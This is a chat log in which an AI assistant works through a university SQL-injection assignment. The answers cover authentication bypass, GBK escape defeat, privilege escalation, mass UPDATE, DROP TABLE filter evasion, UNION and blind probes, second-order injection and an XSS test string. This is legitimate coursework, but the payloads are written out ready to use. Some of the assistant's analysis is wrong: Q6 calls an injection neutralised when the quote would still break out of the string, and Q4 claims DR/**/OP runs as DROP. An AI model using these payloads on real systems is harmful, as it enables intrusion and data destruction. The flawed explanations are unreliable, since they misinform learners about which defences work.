SQL Injection Assignment

f861aaad-075f-4d67-8691-6f06287f4852.pdf
PDF

Solve Q1) (a)

Q1 (a) Answer

The original SQL query is:

```
SELECT * FROM usertable
WHERE username = '$username'
AND password = '$password';
```

If the attacker sets:

```
user = ' or 1=1 --
```

Then the query becomes:

```
SELECT * FROM usertable
WHERE username = '' OR 1=1 -- '
AND password = '...';
```

Explanation:

- `'` closes the username string.
- `OR 1=1` is **always true**, so the condition bypasses authentication.
- `--` comments out the rest of the query (`AND password = ...`).

Final Result:

The WHERE clause effectively becomes:

```
WHERE username = '' OR 1=1
```

Since `1=1` is always true, the query returns **all rows**, and:

👉 `$result->num_rows > 0` becomes true
👉 Login is **successful without valid credentials**

✅ Conclusion (Exam Ready):

The input `' OR 1=1 --` modifies the SQL query such that the condition always evaluates to true and the password check is ignored due to commenting. This results in unauthorized login, demonstrating a classic SQL injection attack.

(b)

Q1 (b) Answer

After applying **`addslashes()`**, the input is modified by escaping special characters like `'`.

So if the attacker enters:

```
' OR 1=1 --
```

It becomes:

```
\' OR 1=1 --
```

Modified Query:

```
SELECT * FROM usertable
WHERE username = '\ ' OR 1=1 -- '
AND password = '...';
```

Explanation:

- The **single quote `'` is escaped** as `\'`, so it is treated as a **normal character**, not as the end of the string.
- Because of this:
  - The injected **`OR 1=1`** is **not interpreted as SQL logic**
  - It becomes part of the **username string value**
- The **`--`** also loses its effect since it is inside the string, not starting a comment

Final Result:

The query behaves like:

```
WHERE username = '\' OR 1=1 -- ' AND password = '...'
```

➡️ This is treated as a **normal string comparison**, not a logical condition.

👉 No rows are returned (unless such a username actually exists)
👉 Login **fails**

✅ Conclusion (Exam Ready):

The **`addslashes()`** function escapes special characters like quotes, preventing the attacker from breaking out of the string context. As a result, the injected SQL (**`OR 1=1 --`**) is treated as plain text rather than executable SQL, thereby preventing the SQL injection attack from part (a).

(c)

Q1 (c) Answer

No, `addslashes()` does **not completely solve** the SQL injection problem, especially with **GBK multi-byte encoding**.
f861aaad-075f-4d67-8691-6f06287…

Key Idea:

In GBK encoding:

- `0xBF27` → interpreted as **two separate characters**
- `0xBF5C` → interpreted as **one single Chinese character**

Here:

- `0x5C = \` (backslash added by `addslashes`)
- `0x27 = '` (quote)

Attack Explanation:

Attacker supplies:

```
user = %BF' OR 1=1 --
```

Step 1: After `addslashes()`

The `'` becomes escaped:

```
%BF\' OR 1=1 --
```

So bytes become:

```
0xBF 0x5C 0x27
```

Step 2: GBK Interpretation

- `0xBF5C` → treated as **one valid GBK character**
- Remaining `0x27 ('')` → now acts as a **real quote**

👉 This effectively **breaks out of the string again**

Resulting Query:

```
SELECT * FROM usertable
WHERE username = '¿\' OR 1=1 -- '
AND password = '...';
```

Due to GBK interpretation:

- The string closes early
- `OR 1=1` becomes active SQL

- `--` comments out the rest

Final Effect:

```
WHERE username = '...' OR 1=1
```

👉 Condition always true
👉 Authentication bypassed again

✅ Conclusion (Exam Ready):

Even after applying **`addslashes()`**, SQL injection is still possible under GBK encoding. By crafting input like **`%BF' OR 1=1 --`**, the escape character (\) combines with a preceding byte to form a valid multi-byte character, leaving the quote unescaped. This allows the attacker to terminate the string and inject malicious SQL, resulting in successful login.

Sources

d

Q1 (d) Answer

No, using **JavaScript input validation is NOT sufficient** to prevent SQL injection.

f861aaad-075f-4d67-8691-6f06287…

Explanation:

- JavaScript validation happens on the **client side (browser)**.
- An attacker can easily **bypass client-side checks** by:
  - Disabling JavaScript
  - Modifying requests using tools (e.g., proxies like Burp Suite)
  - Sending direct HTTP requests (e.g., using curl/Postman)

👉 Therefore, the malicious input (like **`' OR 1=1 --`**) can still reach the server.

Key Problem:

Client-side validation is:

- **Not trusted**
- **Fully controllable by the attacker**

Correct Approach:

Security must be enforced on the **server side**, such as:

- Using **prepared statements (parameterized queries)**
- Proper **input sanitization**
- Using **ORM frameworks**

✅ Conclusion (Exam Ready):

JavaScript-based input validation is insufficient to prevent SQL injection because it operates on the client side and can be easily bypassed. Attackers can directly send malicious inputs to the server, making server-side validation and secure coding practices essential for protection.

Sources

e

Q1 (e) Answer

No, stripping the `--` comment **does NOT fully prevent SQL injection**. f861aaad-075f-4d67-8691-6f06287…

Explanation:

Attackers can bypass this restriction using **alternative commenting techniques or query manipulation**, such as:

1. Using other SQL comment styles

- Instead of `--`, attackers can use:
  - `#` (MySQL comment)
  - `/* ... */` (block comment)

Example:

```
' OR 1=1 #
```

or

```
' OR 1=1 /*
```

---

2. Avoiding comments completely

Attackers can craft inputs that **don't require comments**:

```
' OR '1'='1
```

This results in:

```
WHERE username = '' OR '1'='1' AND password='...'
```

👉 Depending on operator precedence, this can still evaluate to **true**

---

3. Using logical manipulation

Attackers can restructure conditions to bypass authentication without comments.

Final Result:

Even after removing `--`, attackers can still:

- Inject conditions that evaluate to **true**
- Bypass authentication

✅ Conclusion (Exam Ready):

Removing `--` from input is not a sufficient defense against SQL injection. Attackers can use alternative comment styles (like `#` or `/* */`) or craft injections that do not require comments at all. Therefore, input filtering alone is inadequate, and secure techniques like parameterized queries must be used.

Sources

f

Q1 (f) Answer

Yes, the web application is still **susceptible to SQL injection**, even though it uses a stored procedure.

f861aaad-075f-4d67-8691-6f06287…

Reason:

The stored procedure itself is safe:

```
CREATE PROCEDURE VerifyUser
@username varchar(50),
@password varchar(50)
AS
BEGIN
SELECT * FROM UserTable
WHERE UserName = @username
AND Password = @password;
END
```

👉 Here, parameters are properly used, so **inside the procedure there is no injection**.

Vulnerability occurs in the PHP call:

```
$sql = "CALL VerifyUser (" + $_GET[user] + "," + $_GET[pwd] + ")";
```

- User inputs are **directly concatenated** into the SQL query
- No quotes or parameter binding is used
- This allows attackers to inject malicious SQL

Example Attack:

If attacker inputs:

```
user = admin, ' OR 1=1 --
pwd = anything
```

Then query becomes:

```
CALL VerifyUser (admin, ' OR 1=1 -- , anything)
```

👉 This can:

- Break query structure
- Inject conditions
- Potentially bypass authentication

Key Insight:

- Stored procedures are **safe only when called with parameterized inputs**
- If inputs are concatenated into the query string → **still vulnerable**

✅ Conclusion (Exam Ready):

The application is vulnerable to SQL injection because user inputs are concatenated directly into the stored procedure call. Although the stored procedure uses parameters internally, the unsafe construction of the query in PHP allows attackers to inject malicious SQL. Proper parameter binding must be used when invoking stored procedures to prevent such attacks.

Sources

Solve Q2)

Q2 Answer

Original query:

```
INSERT INTO users (username, password, privilege)
VALUES ('Paul', 'Secret', 5);
```

Goal:

Make `privilege = 0` (highest level) instead of `5`

Attack Input:

- **Username:**

```
Paul', 'Secret', 0) --
```

- **Password:**

```
anything
```

Modified Query:

```
INSERT INTO users (username, password, privilege)
VALUES ('Paul', 'Secret', 0) -- ', 'anything', 5);
```

Explanation:

- `'Paul'` → closes username normally
- `, 'Secret', 0)` → injects new values with privilege = 0
- `--` → comments out the rest (`', 'anything', 5)`)

👉 So the database executes:

```
INSERT INTO users (username, password, privilege)
VALUES ('Paul', 'Secret', 0);
```

Final Result:

- New user is created with **privilege level = 0 (highest)**
- Original `5` is ignored

✅ Conclusion (Exam Ready):

By injecting `Paul', 'Secret', 0) --` into the username field, the attacker closes the original query and inserts a new privilege value of 0 while commenting out the remaining part. This results in privilege escalation through SQL injection.

Solve Q3)

Q3 (a) Answer

Original query:

```
UPDATE users SET password='newsecret'
WHERE user='marcus' AND password='secret';
```

Attack Input:

- **Username:**

```
admin' OR 1=1 --
```

- **Password:**
  (any value, e.g., `123`)

Modified Query:

```
UPDATE users SET password='newsecret'
WHERE user='admin' OR 1=1 -- ' AND password='123';
```

Explanation:

- `'admin'` closes the username string
- `OR 1=1` makes the condition **always true**
- `--` comments out the rest (`AND password='123'`)

👉 So the query becomes:

```
WHERE user='admin' OR 1=1
```

Final Result:

- Condition is **always true**
- Password of **all users (including admin)** gets changed to `newsecret`

✅ Conclusion (Exam Ready):

By injecting `admin' OR 1=1 --`, the attacker bypasses the password check and forces the WHERE clause to always evaluate to true, allowing unauthorized password changes without knowing the current password.

Q3 (b) Answer

Given input:

- **Username:** `admin' OR 1=1 --`
- **Password:** `123456`

Modified Query:

```
UPDATE users SET password='newsecret'
WHERE user='admin' OR 1=1 -- ' AND password='123456';
```

Effect on Database:

- **`OR 1=1`** → condition always true
- **`--`** → ignores password check

👉 Final executed condition:

```
WHERE user='admin' OR 1=1
```

Final Result:

- **All rows in the users table are updated**
- Password of every user becomes **`newsecret`**

✅ Conclusion (Exam Ready):

The injected input makes the WHERE clause always true, causing the UPDATE statement to modify all records in the database. As a result, all user passwords are changed, demonstrating a severe SQL injection vulnerability.

Q4

Q4 Answer

Given defense removes SQL keywords like **`DROP`**, so:

```
Books'; DROP TABLE users;
```

becomes:

```
Books'; TABLE users;
```

Goal:

Bypass keyword filtering and still execute:

```
DROP TABLE users;
```

Modified Attack Input:

```
Books'; DR/**/OP TABLE users;
```

Explanation:

- The filter removes exact keywords like **`DROP`**
- But **`DR/**/OP`** is interpreted by SQL as:

```
DROP
```

- `/**/` is a **comment**, ignored by SQL parser

👉 So the database reconstructs:

```
DROP TABLE users;
```

Final Result:

- The filter fails to detect **`DROP`**
- The query executes successfully
- **users table is deleted**

✅ Conclusion (Exam Ready):

The attacker can bypass keyword-based filtering by splitting SQL keywords using comments (e.g., **`DR/**/OP`**). Since SQL ignores comments, the database interprets it as **`DROP`**, allowing execution of the malicious query and deletion of the table.

Q5

Q5 Answer

Yes, the web application is **susceptible to SQL injection**.

f861aaad-075f-4d67-8691-6f06287…

Given Stored Procedure:

```
CREATE PROCEDURE VerifyUser
@username varchar(50),
@password varchar(50)
AS
BEGIN
SELECT * FROM UserTable
WHERE UserName = @username
AND Password = @password;
END
```

👉 This part is **safe**, because it uses parameters.

Vulnerable PHP Call:

```
$sql = "CALL VerifyUser (" + $_POST["username"] + "," + $_POST["password"] + ")";
```

Problem:

- User inputs are **directly concatenated**
- No **parameter binding / prepared statements**
- No proper quoting or sanitization

👉 This allows attackers to inject SQL into the procedure call

---

Example Attack:

Input:

```
username = admin' --
password = anything
```

Query becomes:

```
CALL VerifyUser (admin' -- , anything)
```

- `'` breaks the query structure
- `--` comments out the rest
- Can alter execution logic

Key Insight:

- Stored procedures are **not automatically safe**
- They are only safe if:
  - Called using **parameterized queries**
  - Not constructed via string concatenation

Final Result:

👉 Injection is possible
👉 Authentication can be bypassed or query altered

✅ Conclusion (Exam Ready):

The application is vulnerable to SQL injection because user inputs are directly concatenated into the stored procedure call. Although the stored procedure itself uses parameters, improper invocation from PHP allows attackers to inject malicious SQL. Secure parameter binding must be used to prevent this vulnerability.

Sources

Q6

Q6 Answer

Given query:

```
SELECT id, name, eid, salary, birth, ssn, phonenumber, address, email, nickname, Password
FROM credential
WHERE eid = '$input_eid'
AND password = 'md5($input_pwd)';
```

Attack Input:

- **EID:** `admin`
- **Password:** `123456' OR 1=1 --`

Modified Query:

```
WHERE eid = 'admin'
AND password = 'md5(123456' OR 1=1 -- )';
```

Key Observation:

- The password is **hashed using `md5()` before comparison**
- The injected string (`' OR 1=1 --`) is passed **inside the md5 function**
- So the database actually computes:

```
md5("123456' OR 1=1 --")
```

👉 This becomes just a **hashed string value**, not SQL logic

Explanation:

- The injection attempt is **neutralized** because:
  - It is **not interpreted as SQL**
  - It is treated as **input to the hash function**
- No breaking of query structure happens
- `OR 1=1` is **not executed**

Final Result:

- Query remains valid and secure
- Login succeeds **only if correct hashed password matches**
- Injection **fails**

✅ Conclusion (Exam Ready):

No, the given input will not enable login. Since the password is hashed using `md5()` before comparison, the injected SQL is treated as plain input to the hash function rather than executable SQL. Therefore, the injection attempt fails and does not bypass authentication.

Q7

Q7 Answer

Even if the application **rejects whitespace**, SQL injection can still be performed by **avoiding spaces**.

Technique to Bypass:

Attackers can replace spaces using:

1. Inline comments (`/**/`)

```
'/**/OR/**/1=1--
```

👉 SQL ignores `/**/`, so this is interpreted as:

```
' OR 1=1--
```

---

2. Using parentheses

```
'OR(1=1)--
```

---

3. Using encoded characters (URL encoding)

```
'%09OR%091=1--
```

- `%09` = tab (treated as whitespace by SQL)

Explanation:

- The filter only blocks **literal spaces**
- SQL allows many alternatives that act like whitespace
- The database still correctly parses the injected query

Final Result:

👉 Injection succeeds despite no spaces
👉 Authentication or query logic can still be bypassed

✅ Conclusion (Exam Ready):

Whitespace restrictions do not prevent SQL injection because attackers can replace spaces with inline comments (`/**/`), parentheses, or encoded characters like tabs. Since SQL treats these as valid separators, the malicious query is still executed successfully.

Q8

Q8 Answer

The attack fails because the application **removes `--`**, which is normally used to comment out the rest of the query.

Bypassing the Restriction:

Attackers can use **alternative comment styles** or avoid comments entirely.

---

1. Using `#` (MySQL comment)

```
' OR 1=1 #
```

👉 `#` comments out the remaining query just like `--`

---

2. Using block comments `/* */`

```
' OR 1=1 /*
```

👉 Everything after `/*` is ignored

---

3. Without using comments

```
' OR '1'='1
```

👉 This still makes the condition true without needing `--`

Explanation:

- The filter only removes `--`
- SQL supports **multiple comment syntaxes**
- Logical manipulation can also eliminate the need for comments

---

Final Result:

👉 Injection still works
👉 Authentication bypass is possible

✅ Conclusion (Exam Ready):

Even if `--` is removed, SQL injection can still be performed using alternative comment styles like `#` or `/* */`, or by crafting conditions such as `' OR '1'='1` that do not require comments. Hence, filtering `--` alone is insufficient to prevent SQL injection.

Q9

Q9 Answer

Yes, the stored procedure is **susceptible to SQL injection**. f861aaad-075f-4d67-8691-6f06287…

Given Procedure:

```
CREATE PROCEDURE SP_ProductSearch @prodname varchar(400) = NULL AS
DECLARE @sql nvarchar(4000)

SELECT @sql = 'SELECT ProductID, ProductName, Category, Price FROM Product WHERE '

IF @prodname IS NOT NULL
SELECT @sql = @sql + 'ProductName LIKE ''' + @prodname + ''''

EXEC (@sql)
```

Vulnerability:

- The query is built using **string concatenation**
- User input `@prodname` is directly appended
- Query is executed using:

```
EXEC (@sql)
```

👉 This is **dynamic SQL**, which is unsafe

Example Attack:

Input:

```
' OR 1=1 --
```

Constructed Query:

```
SELECT ProductID, ProductName, Category, Price
FROM Product
WHERE ProductName LIKE '' OR 1=1 -- '
```

Explanation:

- `''` closes the string
- **`OR 1=1`** makes condition **always true**
- **`--`** comments out trailing quote

Final Result:

👉 Query returns **all products**
👉 Injection successful

✅ Conclusion (Exam Ready):

The stored procedure is vulnerable to SQL injection because it constructs a dynamic SQL query using string concatenation and executes it with **`EXEC`**. An attacker can inject malicious input (e.g., **`' OR 1=1 --`**) to manipulate the query logic. To prevent this, parameterized queries or safe execution methods must be used instead of dynamic SQL.

Sources

Q10

Q10 Answer

No, the developer's assumption is **not valid** — the application is still **vulnerable to SQL injection**.

f861aaad-075f-4d67-8691-6f06287…

Why the Developer Thinks It's Safe:

- **`addslashes()`** is used to escape quotes during insertion
- All inputs are treated as strings

👉 But this protection is **incomplete**

Actual Vulnerability:

The problem lies in the **second part (profile viewing)**:

```
SELECT username FROM sessiontable
WHERE session = '...';

SELECT * FROM users
WHERE username = ' " + username + " ';
```

Key Issue: Stored Data is Reused Unsafely

- The username stored earlier (even if escaped) is later:
  - Retrieved from the database
  - Inserted into a new query using **string concatenation**

👉 If the stored username contains malicious payload, it gets executed later

---

Type of Attack:

👉 **Second-Order SQL Injection**

- Injection is stored in DB first
- Executed later when reused in another query

Example Attack:

Attacker registers with username:

```
admin' OR 1=1 --
```

- Stored safely (due to `addslashes`)
- Later used in:

```
SELECT * FROM users
WHERE username = 'admin' OR 1=1 -- ';
```

Final Result:

👉 Query becomes always true
👉 Attacker can access unauthorized data

Conclusion (Exam Ready):

The developer's assumption is incorrect. Even though `addslashes()` is used during input, the application is vulnerable to **second-order SQL injection** because stored user input is later reused in a query without proper sanitization. This allows previously injected malicious data to execute, compromising the system.

Sources

Q11

Q11 Answer

The correct answer is: **(c)** `'` , `ab123`

f861aaad-075f-4d67-8691-6f06287…

Explanation (Equivalence Partitioning):

We need the **minimum set of test cases** that covers:

1. **Valid Input Class**
   - Example: `ab123`
   - ✔️ Alphanumeric, within 5-character limit
2. **Invalid / SQL Injection Class**
   - Example: `'`
   - ✔️ Special character used in SQL injection

Why Option (c) is Correct:

- `'` → tests **SQL injection vulnerability**
- `ab123` → tests **valid normal input**

👉 Covers both required equivalence classes with **minimum test cases**

Why Others Are Incorrect:

- **(a)** Too many test cases (not minimal)
- **(b)** Includes unnecessary inputs
- **(d)** Only tests injection, not valid input

✅ Conclusion (Exam Ready):

Using equivalence partitioning, the minimum required test cases are one valid input (`ab123`) and one invalid/injection input (`'`). Hence, option (c) is correct as it efficiently covers both partitions with the least number of test cases.

Sources

Q12

Q12 Answer

To gain unauthorized access through the login screen, the approach is to try **SQL injection payloads** in the username and/or password fields.

Example Attacks:

1. Basic Authentication Bypass

- **Username:**

```
' OR 1=1 --
```

- **Password:** anything

👉 Makes condition always true → login bypass

---

2. Bypass Using Both Fields

- **Username:**

```
admin
```

- **Password:**

```
' OR '1'='1
```

---

3. Comment-Based Injection

- **Username:**

```
admin' --
```

- **Password:** anything

👉 Password check gets ignored

---

4. Union-Based Injection (Data Extraction)

- **Username:**

```
' UNION SELECT null, username, password FROM users --
```

👉 Attempts to extract database data

---

5. Error-Based Injection

- **Username:**

```
' OR 1=1#
```

👉 Uses alternative comment (#)

---

6. Blind SQL Injection

- **Username:**

```
' OR (SELECT COUNT(*) FROM users)>0 --
```

Goal of These Attempts:

- Bypass authentication
- Extract sensitive data
- Understand database structure

✅ Conclusion (Exam Ready):

To gain access, various SQL injection payloads such as `' OR 1=1 --`, `admin' --`, or `' OR '1'='1` can be used. These inputs manipulate the SQL query to always evaluate to true or bypass password checks, allowing unauthorized login into the system.

Q13

Q13 Answer

Assumption: Login succeeds if `$result` is **non-empty**.

f861aaad-075f-4d67-8691-6f06287…

---

1. Login without knowing the password

- **Username:**

```
admin' --
```

- **Password:** anything

Explanation:

- `'` closes the username string
- `--` comments out password condition

👉 Query becomes:

```
WHERE username='admin' -- ' AND password='...'
```

👉 Password check ignored → login successful

2. Login without knowing a valid username

- **Username:**

```
' OR 1=1 --
```

- **Password:** anything

Explanation:

- **`OR 1=1`** → always true
- **`--`** removes rest of query

👉 Query becomes:

```
WHERE username='' OR 1=1
```

👉 Returns all users → login successful

---

3. Cross-Site Scripting (XSS) Attack

- **Username:**

```
<script>alert('XSS')</script>
```

- **Password:** anything

Explanation:

- If input is displayed without sanitization:
  - Script executes in browser
  - Can steal cookies / session

✅ Conclusion (Exam Ready):

1. Using **`admin' --`** bypasses password verification.
2. Using **`' OR 1=1 --`** bypasses both username and password checks.
3. Injecting **`<script>alert('XSS')</script>`** can trigger a cross-site scripting attack if input is not properly sanitized before output.

Sources